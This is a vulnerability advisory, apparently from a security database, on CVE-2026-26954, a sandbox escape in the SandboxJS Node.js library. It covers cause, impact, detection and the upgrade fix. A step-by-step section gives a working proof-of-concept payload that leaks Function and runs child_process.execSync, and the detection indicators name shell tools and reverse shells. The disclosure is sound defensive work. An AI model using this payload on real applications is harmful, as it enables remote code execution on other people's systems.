CVE-2026-26954: 
JavaScript vulnerability analysis and mitigation

CVE-2026-26954 is a critical sandbox escape vulnerability in SandboxJS (@nyariv/sandboxjs), a JavaScript sandboxing library for Node.js. The flaw allows attackers to obtain arrays containing the native Function object and leverage Object.fromEntries to construct objects that bypass sandbox restrictions, ultimately enabling remote code execution. All versions up to and including 0.8.33 are affected; the issue was disclosed and patched on March 13, 2026, with the release of version 0.8.34. It carries a CVSS v3.1 base score of 10.0 (Critical) (Github Advisory, Security Advisory).

The root cause is classified as CWE-94 (Improper Control of Generation of Code / Code Injection). SandboxJS fails to sanitize return values from certain array methods — such as Object.values(this).slice(1, 2) or Object.entries(this).at(1) — which can leak a reference to the native Function constructor out of the sandbox context. An attacker can then use Object.fromEntries to embed Function as a property value in a new object (e.g., {[p]: Function}), and invoke it to execute arbitrary JavaScript outside the sandbox. No authentication or special privileges are required; the attacker only needs the ability to submit code for evaluation by the sandboxed environment. A full proof-of-concept exploit is publicly available in the security advisory, demonstrating RCE via child_process.execSync (Security Advisory).

Successful exploitation results in a complete sandbox escape leading to remote code execution within the Node.js process hosting SandboxJS. An attacker gains full confidentiality, integrity, and availability impact — they can read sensitive data, modify files, execute system commands, and potentially pivot laterally within the host environment. Because the scope is marked as "Changed" in the CVSS scoring, the impact extends beyond the sandboxed component to the underlying host system (Github Advisory, Security Advisory).

A complete, self-contained proof-of-concept exploit is publicly available in the GitHub security advisory, demonstrating sandbox escape and RCE with no authentication required (Security Advisory). As of the time of reporting, there is no confirmed evidence of in-the-wild exploitation or known threat actor attribution. The EPSS score is approximately 0.048–0.095%, placing it in the lower percentile for near-term exploitation probability. The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

1. Identify target: Locate a Node.js application that accepts and evaluates user-supplied JavaScript code using @nyariv/sandboxjs version 0.8.33 or earlier.
2. Leak the Function constructor: Submit a sandboxed payload that retrieves the native Function object from the sandbox's global context using array methods, e.g.:

   Object.values(this).slice(1, 2) // Returns [ [Function: Function] ]

3. Construct a bypass object: Use Object.fromEntries to embed the leaked Function reference as a property of a new object, bypassing sandbox property restrictions:

   Object.fromEntries([['then', ...Object.values(this).slice(1)]])

4. Chain with Promise methods: Combine the constructed object with a Promise's .finally() method to invoke Function with an arbitrary string payload:

   const p = (async function () {})();
   ({
     "finally": p.finally,
     ...Object.fromEntries([['then', ...Object.values(this).slice(1)]]),
   }).finally('a=process.getBuiltinModule("child_process").execSync("ls", {stdio: "inherit"})')();

5. Achieve RCE: The payload executes outside the sandbox as the Node.js process user, enabling arbitrary OS command execution, data exfiltration, or further lateral movement (Security Advisory).

• Logs: Node.js application logs showing unexpected calls to child_process methods (e.g., execSync, exec, spawn) originating from sandboxed code evaluation paths; error traces referencing Object.fromEntries, Object.values, or Promise.prototype.finally in sandbox execution context.
• Process: Unusual child processes spawned by the Node.js process (e.g., sh, bash, cmd.exe, ls, whoami, curl, wget) with the Node.js process as parent.
• Network: Unexpected outbound connections from the Node.js server process to external IPs, particularly following sandbox code evaluation events.
• File System: New or modified files in the application directory or temp directories created by the Node.js process user; presence of web shells or reverse shell scripts dropped post-exploitation.

The primary remediation is to upgrade @nyariv/sandboxjs to version 0.8.34 or later, which introduces a sanitizeArray function that scrubs Function references and globalThis from array return values before they can be used outside the sandbox (Security Advisory, Release v0.8.34). If immediate patching is not feasible, restrict network access to services running vulnerable versions and avoid executing untrusted user-supplied code in sandboxed environments until the patch is applied. Review all deployments using versions prior to 0.8.34 to assess exposure.

The vulnerability was covered by security news outlets including SecurityOnline.info, which highlighted it as a "Golden Ticket" critical flaw with a CVSS 10.0 score (SecurityOnline). Community discussion appeared on Mastodon and Bluesky shortly after disclosure. The vulnerability was credited to researcher c0rydoras as the finder (Github Advisory).